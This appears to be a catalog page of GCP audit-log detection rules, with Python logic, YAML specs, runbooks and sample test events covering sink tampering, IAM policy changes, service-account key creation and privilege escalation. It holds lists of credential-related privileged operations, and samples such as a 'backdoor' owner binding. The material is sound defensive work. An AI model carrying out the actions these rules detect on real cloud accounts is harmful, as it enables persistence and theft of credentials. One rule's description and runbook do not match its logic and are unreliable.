Reference: https://cloud.google.com/logging/docs
Stages and Predicates
Rule logic imperative Python
The parser could not express this rule's Python logic as a structured condition; the complete logic is under Detection logic above.
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Ensure that the modification was valid or expected. Adversaries may do this to exfiltrate logs or evade detection.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertid": "6ns26jclap",
"logname": "projects/test-project-123456/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@domain.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "logging.sinks.update",
"resource": "projects/test-project-123456/sinks/test-1",
"resourceAttributes": {
"name": "projects/test-project-123456/sinks/test-1",
"service": "logging.googleapis.com"
}
}
],
"methodName": "google.logging.v2.ConfigServiceV2.UpdateSink",
"request": {
"@type": "type.googleapis.com/google.logging.v2.UpdateSinkRequest",
"sink": {
"description": "test",
"destination": "logging.googleapis.com/projects/test-project-123456/locations/global/buckets/testloggingbucket",
"exclusions": [
{
"filter": "*",
"name": "excludeall"
}
],
"name": "test-1"
},
"sinkName": "projects/test-project-123456/sinks/test-1",
"uniqueWriterIdentity": true,
"updateMask": "exclusions"
},
"requestMetadata": {
"callerIP": "12.12.12.12",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2023-05-23T19:39:07.289670886Z"
}
},
"resourceName": "projects/test-project-123456/sinks/test-1",
"serviceName": "logging.googleapis.com",
"status": {}
},
"receiveTimestamp": "2023-05-23 19:39:07.924",
"resource": {
"labels": {
"destination": "",
"name": "test-1",
"project_id": "test-project-123456"
},
"type": "logging_sink"
},
"severity": "NOTICE",
"timestamp": "2023-05-23 19:39:07.272"
}
GCP Org or Folder Policy Was Changed Manually
#Alert if a GCP Org or Folder Policy Was Changed Manually.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence |
Rules detecting the same action
These rules filter on the same operation.
Detection logic
def rule(event):
# Return True to match the log event and trigger an alert.
logname = event.get("logName")
return (
event.deep_get("protoPayload", "methodName") == "SetIamPolicy"
and (logname.startswith("organizations") or logname.startswith("folder"))
and logname.endswith("/logs/cloudaudit.googleapis.com%2Factivity")
)
def title(event):
# use unified data model field in title
return (
f"{event.get('p_log_type')}: [{event.udm('actor_user')}] made manual changes to Org policy"
)
def alert_context(event):
return {
"actor": event.udm("actor_user"),
"policy_change": event.deep_get("protoPayload", "serviceData", "policyDelta"),
"caller_ip": event.deep_get("protoPayload", "requestMetadata", "callerIP"),
"user_agent": event.deep_get("protoPayload", "requestMetadata", "callerSuppliedUserAgent"),
}
def severity(event):
if (
event.deep_get("protoPayload", "requestMetadata", "callerSuppliedUserAgent")
.lower()
.find("terraform")
!= -1
):
return "INFO"
return "HIGH"
Rule specification
AnalysisType: rule
Filename: gcp_iam_org_folder_changes.py
RuleID: "GCP.IAM.OrgFolderIAMChanges"
DisplayName: "GCP Org or Folder Policy Was Changed Manually"
Enabled: true
DedupPeriodMinutes: 1440 # 24 hours
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Identity & Access Management
- Persistence
- Modify Authentication Process - Conditional Access Policies
Reports:
GCP_CIS_1.3:
- 1.8
MITRE ATT&CK:
- TA0003:T1556.009
Severity: High
Description: >
Alert if a GCP Org or Folder Policy Was Changed Manually.
Runbook: |
Contact the party that made the change.
If it was intended to be temporary, ask for a window for rollback (< 24 hours).
If it must be permanent, ask for change-management doc explaining why it was needed.
Direct them to make the change in Terraform to avoid automated rollback.
Grep for google_org and google_folder in terraform repos for places to
put your new policy bindings.
Reference: https://cloud.google.com/iam/docs/granting-changing-revoking-access
SummaryAttributes:
- severity
- p_any_ip_addresses
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.methodNameisSetIamPolicyany of:
logNamestarts withorganizationslogNamestarts withfolder
logNameends with/logs/cloudaudit.googleapis.com%2Factivity
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
logName | ends_with |
| field:"logName" kind:ends_with value:"/logs/cloudaudit.googleapis.com%2Factivity" |
logName | starts_with |
| field:"logName" kind:starts_with |
protoPayload.methodName | eq |
| field:"protoPayload.methodName" kind:eq value:"SetIamPolicy" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
actor | actor_user |
policy_change | protoPayload.serviceData.policyDelta |
caller_ip | protoPayload.requestMetadata.callerIP |
user_agent | protoPayload.requestMetadata.callerSuppliedUserAgent |
p_log_type |
Response runbook
Contact the party that made the change.
If it was intended to be temporary, ask for a window for rollback (< 24 hours).
If it must be permanent, ask for change-management doc explaining why it was needed.
Direct them to make the change in Terraform to avoid automated rollback.
Grep for google_org and google_folder in terraform repos for places to
put your new policy bindings.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "-lmjke7dbt7y",
"logName": "organizations/888888888888/logs/cloudaudit.googleapis.com%2Factivity",
"p_log_type": "GCP.AuditLog",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "terraform@platform.iam.gserviceaccount.com",
"principalSubject": "serviceAccount:terraform@platform.iam.gserviceaccount.com",
"serviceAccountKeyName": "//iam.googleapis.com/projects/platform/serviceAccounts/terraform@platform.iam.gserviceaccount.com/keys/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
},
"authorizationInfo": [
{
"granted": true,
"permission": "resourcemanager.organizations.setIamPolicy",
"resource": "organizations/888888888888",
"resourceAttributes": {
"name": "organizations/888888888888",
"service": "cloudresourcemanager.googleapis.com",
"type": "cloudresourcemanager.googleapis.com/Organization"
}
}
],
"methodName": "SetIamPolicy",
"request": {
"@type": "type.googleapis.com/google.iam.v1.SetIamPolicyRequest",
"policy": {
"bindings": [
{
"members": [
"joey.jojo@example.com",
"serviceAccount:terraform@platform.iam.gserviceaccount.com"
],
"role": "roles/owner"
}
],
"etag": "BwXcRFUAtX4="
},
"resource": "organizations/888888888888",
"updateMask": "bindings,etag,auditConfigs"
},
"requestMetadata": {
"callerIP": "100.100.100.100",
"callerSuppliedUserAgent": "Terraform/0.13.2 terraform-provider-google/3.90.1",
"destinationAttributes": {},
"requestAttributes": {}
},
"resourceName": "organizations/888888888888",
"response": {
"@type": "type.googleapis.com/google.iam.v1.Policy",
"bindings": [
{
"members": [
"joey.jojo@example.com",
"serviceAccount:terraform@platform.iam.gserviceaccount.com"
],
"role": "roles/owner"
}
],
"etag": "BwXeRCtKxCw="
},
"serviceData": {
"@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
"policyDelta": {
"bindingDeltas": [
{
"action": "ADD",
"member": "user:backdoor@example.com",
"role": "roles/owner"
}
]
}
},
"serviceName": "cloudresourcemanager.googleapis.com",
"status": {}
},
"receiveTimestamp": "2022-05-05 14:00:49.450798551",
"resource": {
"labels": {
"organization_id": "888888888888"
},
"type": "organization"
},
"severity": "NOTICE",
"timestamp": "2022-05-05 14:00:48.814294000"
}
GCP Permissions Granted to Create or Manage Service Account Key
#Permissions granted to impersonate a service account. This includes predefined service account IAM roles granted at the parent project, folder or organization-level.
Detection logic
SERVICE_ACCOUNT_MANAGE_ROLES = [
"roles/iam.serviceAccountTokenCreator",
"roles/iam.serviceAccountUser",
]
def rule(event):
if "SetIAMPolicy" in event.deep_get("protoPayload", "methodName", default=""):
role = event.deep_walk(
"protoPayload",
"serviceData",
"policyDelta",
"bindingDeltas",
"role",
default="",
return_val="last",
)
action = event.deep_walk(
"protoPayload",
"serviceData",
"policyDelta",
"bindingDeltas",
"action",
default="",
return_val="last",
)
return role in SERVICE_ACCOUNT_MANAGE_ROLES and action == "ADD"
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
target = event.deep_get("resource", "labels", "email_id") or event.deep_get(
"resource", "labels", "project_id", default="<TARGET_NOT_FOUND>"
)
return (
f"GCP: [{actor}] granted permissions to create or manage service account keys to [{target}]"
)
def alert_context(event):
return {
"resource": event.get("resource"),
"serviceData": event.deep_get("protoPayload", "serviceData"),
}
Rule specification
AnalysisType: rule
Description: Permissions granted to impersonate a service account. This includes predefined service account IAM roles granted at the parent project, folder or organization-level.
DisplayName: GCP Permissions Granted to Create or Manage Service Account Key
Enabled: true
Filename: gcp_permissions_granted_to_create_or_manage_service_account_key.py
Reference: https://cloud.google.com/iam/docs/keys-create-delete
Severity: Low
DedupPeriodMinutes: 60
LogTypes:
- GCP.AuditLog
RuleID: GCP.Permissions.Granted.to.Create.or.Manage.Service.Account.Key
Threshold: 1
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.methodNamecontainsSetIAMPolicyprotoPayload.serviceData.policyDelta.bindingDeltas.roleis one ofroles/iam.serviceAccountTokenCreator,roles/iam.serviceAccountUserprotoPayload.serviceData.policyDelta.bindingDeltas.actionisADD
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | contains |
| field:"protoPayload.methodName" kind:contains value:"SetIAMPolicy" |
protoPayload.serviceData.policyDelta.bindingDeltas.action | eq |
| field:"protoPayload.serviceData.policyDelta.bindingDeltas.action" kind:eq value:"ADD" |
protoPayload.serviceData.policyDelta.bindingDeltas.role | in |
| field:"protoPayload.serviceData.policyDelta.bindingDeltas.role" kind:in |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
resource | |
serviceData | protoPayload.serviceData |
principalEmail | protoPayload.authenticationInfo.principalEmail |
email_id | resource.labels.email_id |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "hhpfjvdgakc",
"logName": "projects/gcp-project1/logs/cloudaudit.googleapis.com%2Factivity",
"p_any_emails": [
"user@company.io"
],
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_event_time": "2023-04-10 18:36:30.838",
"p_log_type": "GCP.AuditLog",
"p_parse_time": "2023-04-10 18:38:14.607",
"p_row_id": "5286b52d4095c9f1b2e8eabe178f8203",
"p_schema_version": 0,
"p_source_id": "5b77391b-afad-46c7-8ddc-b8e21d4726b3",
"p_source_label": "gcplogsource2",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@company.io",
"principalSubject": "user:user@company.io"
},
"authorizationInfo": [
{
"granted": true,
"permission": "iam.serviceAccounts.setIamPolicy",
"resource": "projects/-/serviceAccounts/105537103139416651075",
"resourceAttributes": {
"name": "projects/-/serviceAccounts/105537103139416651075"
}
}
],
"methodName": "google.iam.admin.v1.SetIAMPolicy",
"request": {
"@type": "type.googleapis.com/google.iam.v1.SetIamPolicyRequest",
"policy": {
"bindings": [
{
"members": [
"serviceAccount:test-account3@gcp-project1.iam.gserviceaccount.com"
],
"role": "roles/iam.serviceAccountTokenCreator"
},
{
"members": [
"serviceAccount:test-account3@gcp-project1.iam.gserviceaccount.com"
],
"role": "roles/iam.serviceAccountUser"
}
],
"etag": "ACAB",
"version": 3
},
"resource": "projects/gcp-project1/serviceAccounts/105537103139416651075"
},
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2023-04-10T18:36:30.994141642Z"
}
},
"resourceName": "projects/-/serviceAccounts/105537103139416651075",
"response": {
"@type": "type.googleapis.com/google.iam.v1.Policy",
"bindings": [
{
"members": [
"serviceAccount:test-account3@gcp-project1.iam.gserviceaccount.com"
],
"role": "roles/iam.serviceAccountTokenCreator"
},
{
"members": [
"serviceAccount:test-account3@gcp-project1.iam.gserviceaccount.com"
],
"role": "roles/iam.serviceAccountUser"
}
],
"etag": "BwX4/6dQjX4=",
"version": 1
},
"serviceData": {
"@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
"policyDelta": {
"bindingDeltas": [
{
"action": "ADD",
"member": "serviceAccount:test-account3@gcp-project1.iam.gserviceaccount.com",
"role": "roles/iam.serviceAccountTokenCreator"
},
{
"action": "ADD",
"member": "serviceAccount:test-account3@gcp-project1.iam.gserviceaccount.com",
"role": "roles/iam.serviceAccountUser"
}
]
}
},
"serviceName": "iam.googleapis.com",
"status": {}
},
"receiveTimestamp": "2023-04-10 18:36:32.268",
"resource": {
"labels": {
"email_id": "test-account3@gcp-project1.iam.gserviceaccount.com",
"project_id": "gcp-project1",
"unique_id": "105537103139416651075"
},
"type": "service_account"
},
"severity": "NOTICE",
"timestamp": "2023-04-10 18:36:30.838"
}
GCP Privilege Escalation via TagBinding
#Detects a sequence of events that could indicate a privilege escalation attempt via GCP's tag-based access control. The sequence includes: 1. Enumeration of IAM policies and tags 2. Creation of a tag binding 3. Performance of a privileged operation
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Rule specification
AnalysisType: correlation_rule
RuleID: "GCP.Privilege.Escalation.Via.TagBinding.Group"
DisplayName: "GCP Privilege Escalation via TagBinding"
Enabled: false
Severity: Info
Description: >
Detects a sequence of events that could indicate a privilege escalation attempt
via GCP's tag-based access control. The sequence includes:
1. Enumeration of IAM policies and tags
2. Creation of a tag binding
3. Performance of a privileged operation
Reference: https://cloud.google.com/resource-manager/docs/tags/tags-overview
Runbook: >
Verify if the user has legitimate business need for this sequence of operations.
If unauthorized, revoke the tag binding and review IAM policies.
Reports:
MITRE ATT&CK:
- TA0004:T1548 # Abuse Elevation Control Mechanism
Detection:
- Group:
- ID: Enumeration
RuleID: GCP.IAM.Tag.Enumeration
- ID: TagBinding
RuleID: GCP.Tag.Binding.Creation
- ID: PrivilegedOperation
RuleID: GCP.Privileged.Operation
MatchCriteria:
field_name:
- GroupID: Enumeration
Match: p_alert_context.principal
- GroupID: TagBinding
Match: p_alert_context.principal
- GroupID: PrivilegedOperation
Match: p_alert_context.principal
Schedule:
RateMinutes: 1440
TimeoutMinutes: 10
LookbackWindowMinutes: 1800
Tags:
- attack.privilege_escalation
- attack.t1548
- gcp
- iam
- tagbinding
- Beta
Stages and Predicates
Fires when the steps below all occur within 30h, correlated by p_alert_context.principal. Each step needs one match unless a higher minimum is shown.
Stage 1: step Enumeration
References detection GCP IAM and Tag Enumeration.
Stage 2: step TagBinding
References detection GCP Tag Binding Creation.
Stage 3: step PrivilegedOperation
References detection GCP Privileged Operation.
Response runbook
Verify if the user has legitimate business need for this sequence of operations. If unauthorized, revoke the tag binding and review IAM policies.
GCP Privileged Operation
#Detects privileged operations in GCP that could be part of a privilege escalation attempt, especially when following tag binding creation.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | storage.hmacKeys.create: Create HMAC key |
| GCP | storage.setIamPermissions: Set IAM permissions on bucket |
Detection logic
from panther_gcp_helpers import gcp_alert_context
PRIVILEGED_OPERATIONS = [
"iam.serviceAccounts.getAccessToken",
"orgpolicy.policy.set",
"storage.hmacKeys.create",
"serviceusage.apiKeys.create",
"serviceusage.apiKeys.list",
]
def rule(event):
method_name = event.deep_get("protoPayload", "methodName", default="")
return (
method_name.endswith("setIamPolicy")
or method_name.endswith("setIamPermissions")
or method_name in PRIVILEGED_OPERATIONS
)
def title(event):
principal = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<UNKNOWN>"
)
method = event.deep_get("protoPayload", "methodName", default="<UNKNOWN>")
return f"GCP Privileged Operation by {principal} - {method}"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
RuleID: GCP.Privileged.Operation
Description: >
Detects privileged operations in GCP that could be part of a privilege
escalation attempt, especially when following tag binding creation.
DisplayName: GCP Privileged Operation
Enabled: true
Filename: gcp_privileged_operation.py
LogTypes:
- GCP.AuditLog
CreateAlert: false
Runbook: |
Check if the user has legitimate business need for this privileged operation.
If unauthorized, revoke any recently created tag bindings and review IAM policies.
Severity: Info
Tags:
- attack.privilege_escalation
- attack.t1548
- gcp
- iam
- tagbinding
Stages and Predicates
Fires on GCP.AuditLog events when any of the conditions below holds.
Condition
any of:
protoPayload.methodNameends withsetIamPolicyprotoPayload.methodNameends withsetIamPermissionsprotoPayload.methodNameis one ofiam.serviceAccounts.getAccessToken,orgpolicy.policy.set,storage.hmacKeys.create,serviceusage.apiKeys.create,serviceusage.apiKeys.list
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | ends_with |
| field:"protoPayload.methodName" kind:ends_with |
protoPayload.methodName | in |
| field:"protoPayload.methodName" kind:in |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Check if the user has legitimate business need for this privileged operation.
If unauthorized, revoke any recently created tag bindings and review IAM policies.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"authenticationInfo": {
"principalEmail": "test@example.com"
},
"methodName": "compute.instances.setIamPolicy",
"resourceName": "projects/test-project"
},
"resource": {
"labels": {
"project_id": "test-project"
}
},
"timestamp": "2024-01-01T00:00:00Z"
}
GCP Resource in Unused Region
#Adversaries may create cloud instances in unused geographic service regions in order to evade detection.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Stealth |
Detection logic
from panther_base_helpers import deep_get
APPROVED_ACTIVE_REGIONS = {
# 'asia',
# 'australia',
# 'eu',
# 'northamerica',
# 'southamerica',
"us",
}
def _resource_in_active_region(location):
# return False if location is None, meaning the event did not have a location attribute
# in any of the places we would expect to find one.
if location is False:
return False
return not any(
(location.startswith(active_region) for active_region in APPROVED_ACTIVE_REGIONS)
)
def _get_location_or_zone(event):
resource = event.get("resource")
if not resource:
return False
resource_location = deep_get(resource, "labels", "location")
if resource_location:
return resource_location
resource_zone = deep_get(resource, "labels", "zone")
if resource_zone:
return resource_zone
return False
def rule(event):
method_name = event.deep_get("protoPayload", "methodName", default="<UNKNOWN_METHOD>")
if not method_name.endswith(("insert", "create")):
return False
return _resource_in_active_region(_get_location_or_zone(event))
def title(event):
return (
f"GCP resource(s) created in unused region/zone in project "
f"{event.deep_get('resource', 'labels', 'project_id', default='<UNKNOWN_PROJECT>')}"
)
Rule specification
AnalysisType: rule
Filename: gcp_unused_regions.py
RuleID: "GCP.UnusedRegions"
DisplayName: "GCP Resource in Unused Region"
Enabled: false
DedupPeriodMinutes: 15
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Database
- Configuration Required
- Defense Evasion:Unused/Unsupported Cloud Regions
Reports:
MITRE ATT&CK:
- TA0005:T1535
Severity: Medium
Description: >
Adversaries may create cloud instances in unused geographic service regions in order to evade detection.
Runbook: Validate the user making the request and the resource created.
Reference: https://cloud.google.com/docs/geography-and-regions
SummaryAttributes:
- severity
- p_any_ip_addresses
- p_any_domain_names
Stages and Predicates
Fires on GCP.AuditLog events when any of the conditions below holds.
Condition
any of:
protoPayload.methodNameends withinsertprotoPayload.methodNameends withcreate
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | ends_with |
| field:"protoPayload.methodName" kind:ends_with |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project_id | resource.labels.project_id |
Response runbook
Validate the user making the request and the resource created.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "-5tqx5fd4mj8",
"logName": "projects/western-verve-123456/logs/cloudaudit.googleapis.com%2Factivity",
"operation": {
"id": "operation-1589562934964-5a5b2f61631d6-cc67597a-98092474",
"last": true,
"producer": "compute.googleapis.com"
},
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user.name@runpanther.io"
},
"methodName": "beta.compute.instances.insert",
"request": {
"@type": "type.googleapis.com/compute.instances.insert"
},
"requestMetadata": {
"callerIp": "136.24.229.58",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36,gzip(gfe)"
},
"resourceName": "projects/western-verve-123456/zones/asia-northeast1-b/instances/instance-5",
"serviceName": "compute.googleapis.com"
},
"receiveTimestamp": "2020-05-15T17:15:43.377082868Z",
"resource": {
"labels": {
"instance_id": "8498166540490993880",
"project_id": "western-verve-123456",
"zone": "southamerica-east1-b"
},
"type": "gce_instance"
},
"severity": "NOTICE",
"timestamp": "2020-05-15T17:15:42.415Z"
}
GCP Service Account Access Denied
#This rule detects deletions of GCP Log Buckets or Sinks.
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
reason = event.deep_walk("protoPayload", "status", "details", "reason", default="")
return reason == "IAM_PERMISSION_DENIED"
def title(event):
actor = event.deep_walk(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
return f"[GCP]: [{actor}] performed multiple requests resulting in [IAM_PERMISSION_DENIED]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
---
AnalysisType: rule
DedupPeriodMinutes: 5
Threshold: 30
DisplayName: GCP Service Account Access Denied
Enabled: true
Filename: gcp_service_account_access_denied.py
RuleID: "GCP.Service.Account.Access.Denied"
Severity: Low
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Service Account
- Access
Description: >
This rule detects deletions of GCP Log Buckets or Sinks.
Runbook: >
Ensure that the bucket or sink deletion was expected. Adversaries may do this to cover their tracks.
Reference: https://cloud.google.com/iam/docs/service-account-overview
Stages and Predicates
Fires on GCP.AuditLog events when the condition below holds.
Condition
protoPayload.status.details.reasonisIAM_PERMISSION_DENIED
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.status.details.reason | eq |
| field:"protoPayload.status.details.reason" kind:eq value:"IAM_PERMISSION_DENIED" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Ensure that the bucket or sink deletion was expected. Adversaries may do this to cover their tracks.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertid": "xxxxxxxxxxxx",
"logname": "projects/test-project-123456/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "test-no-perms@test-project-123456.iam.gserviceaccount.com",
"principalSubject": "serviceAccount:test-no-perms@test-project-123456.iam.gserviceaccount.com",
"serviceAccountKeyName": "//iam.googleapis.com/projects/test-project-123456/serviceAccounts/test-no-perms@test-project-123456.iam.gserviceaccount.com/keys/a0064fe0ef82b9e256b8b093d927ee842a19da34"
},
"authorizationInfo": [
{
"permission": "iam.serviceAccounts.create",
"resource": "projects/test-project-123456",
"resourceAttributes": {}
}
],
"methodName": "google.iam.admin.v1.CreateServiceAccount",
"request": {
"@type": "type.googleapis.com/google.iam.admin.v1.CreateServiceAccountRequest",
"account_id": "test123",
"name": "projects/test-project-123456",
"service_account": {}
},
"requestMetadata": {
"callerIP": "12.12.12.12",
"callerSuppliedUserAgent": "google-cloud-sdk gcloud/431.0.0 command/gcloud.iam.service-accounts.create invocation-id/b2ea5dab8c9b4bff8bc15ab299dff79e environment/devshell environment-version/None client-os/LINUX client-os-ver/5.15.107 client-pltf-arch/x86_64 interactive/True from-script/False python/3.9.2 term/screen (Linux 5.15.107+),gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2023-05-24T21:12:55.211301546Z"
}
},
"resourceName": "projects/test-project-123456",
"response": {
"@type": "type.googleapis.com/google.iam.admin.v1.ServiceAccount"
},
"serviceName": "iam.googleapis.com",
"status": {
"code": 7,
"details": [
{
"@type": "type.googleapis.com/google.rpc.ErrorInfo",
"domain": "iam.googleapis.com",
"metadata": {
"permission": "iam.serviceAccounts.create"
},
"reason": "IAM_PERMISSION_DENIED"
}
],
"message": "Permission 'iam.serviceAccounts.create' denied on resource (or it may not exist)."
}
},
"receivetimestamp": "2023-05-24 21:12:55.964",
"resource": {
"labels": {
"email_id": "",
"project_id": "test-project-123456",
"unique_id": ""
},
"type": "service_account"
},
"severity": "ERROR",
"timestamp": "2023-05-24 21:12:55.145"
}
GCP Service Account or Keys Created
#Detects when a service account or key is created manually by a user instead of an automated workflow.
Telemetry coverage
Detection logic
def rule(event):
return all(
[
event.deep_get("resource", "type", default="") == "service_account",
"CreateServiceAccount" in event.deep_get("protoPayload", "methodName", default=""),
not event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default=""
).endswith(".gserviceaccount.com"),
]
)
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
target = event.deep_get("resource", "labels", "email_id")
project = event.deep_get("resource", "labels", "project_id")
resource = (
"Service Account Key for"
if event.deep_get("protoPayload", "methodName", default="")
== "google.iam.admin.v1.CreateServiceAccountKey"
else "Service Account"
)
return f"GCP: [{actor}] created {resource} [{target}] in project [{project}]"
Rule specification
AnalysisType: rule
Description: Detects when a service account or key is created manually by a user instead of an automated workflow.
DisplayName: "GCP Service Account or Keys Created "
Enabled: true
Filename: gcp_service_account_or_keys_created.py
Reference: https://cloud.google.com/iam/docs/keys-create-delete
Severity: Low
DedupPeriodMinutes: 60
LogTypes:
- GCP.AuditLog
RuleID: "GCP.Service.Account.or.Keys.Created"
Threshold: 1
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
resource.typeisservice_accountprotoPayload.methodNamecontainsCreateServiceAccountprotoPayload.authenticationInfo.principalEmaildoes not end with.gserviceaccount.com
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
protoPayload.authenticationInfo.principalEmail | ends_with | .gserviceaccount.com | excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:".gserviceaccount.com" |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | contains |
| field:"protoPayload.methodName" kind:contains value:"CreateServiceAccount" |
resource.type | eq |
| field:"resource.type" kind:eq value:"service_account" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
principalEmail | protoPayload.authenticationInfo.principalEmail |
email_id | resource.labels.email_id |
project_id | resource.labels.project_id |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "1iyadj0d5bmj",
"logName": "projects/gcp-project1/logs/cloudaudit.googleapis.com%2Factivity",
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_event_time": "2023-03-09 15:50:36.148",
"p_log_type": "GCP.AuditLog",
"p_parse_time": "2023-03-09 15:52:14.605",
"p_row_id": "eee460dd2ac5b8a9a6cdfded16ff75",
"p_source_id": "4fc88a5a-2d51-4279-9c4a-08fa7cc52566",
"p_source_label": "gcplogsource",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "staging@company.io",
"principalSubject": "user:staging@company.io"
},
"authorizationInfo": [
{
"granted": true,
"permission": "iam.serviceAccountKeys.create",
"resource": "projects/-/serviceAccounts/123456789098765434567",
"resourceAttributes": {
"name": "projects/-/serviceAccounts/123456789098765434567"
}
}
],
"methodName": "google.iam.admin.v1.CreateServiceAccountKey",
"request": {
"@type": "type.googleapis.com/google.iam.admin.v1.CreateServiceAccountKeyRequest",
"name": "projects/gcp-project1/serviceAccounts/123456789098765434567",
"private_key_type": 2
},
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36,gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2023-03-09T15:50:36.163986905Z"
}
},
"resourceName": "projects/-/serviceAccounts/123456789098765434567",
"response": {
"@type": "type.googleapis.com/google.iam.admin.v1.ServiceAccountKey",
"key_algorithm": 2,
"key_origin": 2,
"key_type": 1,
"name": "projects/gcp-project1/serviceAccounts/created-service-account@gcp-project1.iam.gserviceaccount.com/keys/69049163b190437ab9279b28e8afa24bb5c5b076",
"private_key_type": 2,
"valid_after_time": {
"seconds": 1678377036.0
},
"valid_before_time": {
"seconds": 253402300799.0
}
},
"serviceName": "iam.googleapis.com",
"status": {}
},
